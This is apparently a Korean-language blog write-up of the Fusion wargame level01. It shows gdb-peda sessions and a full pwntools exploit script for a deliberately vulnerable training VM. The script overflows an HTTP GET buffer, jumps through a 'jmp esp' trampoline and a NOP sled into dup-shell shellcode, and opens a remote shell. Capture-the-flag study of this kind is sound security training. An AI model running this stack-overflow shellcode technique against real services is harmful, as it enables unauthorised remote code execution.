wargame - fusion / level01

2016. 12. 28. 10:28

LEVEL01



level01 은 level00 과 동일한 소스코드이지만 버퍼 주소를 출력해주지 않는다. 취약점 발생지점은 동일하므로 긴 설명이 필요없고,


동일한 공격방식이되 버퍼 주소값을 모를 때 어떻게 해야 하는가를 묻는 문제이다. 


주소를 몰라도 바로 뒤로 점프하는 "trampoline techniques" 으로 불리는 jmp esp 등의 코드를 이용하면 된다.





[그림] 취약 함수




gdb-peda$ b *0x8049854 // 취약함수 ret 주소


gdb-peda$ set follow-fork-mode child // gdb fork() 자식 프로세스 디버깅

gdb-peda$ x/4i $eip-6                      
   0x804984e :	call   0x80489a0 
   0x8049853 :	leave  
=> 0x8049854 :	ret    
   0x8049855 :	push   ebp
gdb-peda$ x/12x $esp       // ret 직전의 스택, payload 가 정상적으로 입력된 것 확인
0xbffff32c:	0x08049f4f	0x16eb9090	0x00000000	0x00000004
0xbffff33c:	0x001761e4	0x001761e4	0x000027d8	0x20544547
0xbffff34c:	0x41414141	0x41414141	0x41414141	0x41414141
gdb-peda$ x/i 0x8049f4f     //  ret 실행 시  jmp esp 주소로 점프 ( ret = pop eip = ret 시점의 esp 주소)
   0x8049f4f:	jmp    esp
gdb-peda$ x/4i 0xbffff32c+4      //  jmp esp 후에 실행될 코드
   0xbffff330:	nop
   0xbffff331:	nop
   0xbffff332:	jmp    0xbffff34a
   0xbffff334:	add    BYTE PTR [eax],al
gdb-peda$ x/4i 0xbffff34a       //  short jump 후 실행될 쉘코드 확인
   0xbffff34a:	push   esp
   0xbffff34b:	and    BYTE PTR [ecx+0x41],al
   0xbffff34e:	inc    ecx
   0xbffff34f:	inc    ecx





익스플로잇 코드


# ex_level01.py


from pwn import *
context(arch='i386',os='linux')
print "[*] fusion level00 exploit by hyunmini"

r = remote("192.168.231.128",20001)
e = ELF('./level01')
rop = ROP(e)

shellcode = asm(shellcraft.dupsh(4))
jmp_esp = p32(e.search(asm("jmp esp")).next())
jmp = "\x90\x90\xeb\x16"
nop = "\x90"*60
payload = "GET " + "A"*139 + jmp_esp + jmp +" HTTP/1.1 " + nop + shellcode
r.send(payload)
print " [+] Success!! got shell"
r.interactive()


실행






'wargame > exploit exercise - fusion' 카테고리의 다른 글

wargame - fusion / level03  (0) 2017.02.27
wargame - fusion / level02  (0) 2016.12.29
wargame - fusion / level00  (2) 2013.09.23

+ Recent posts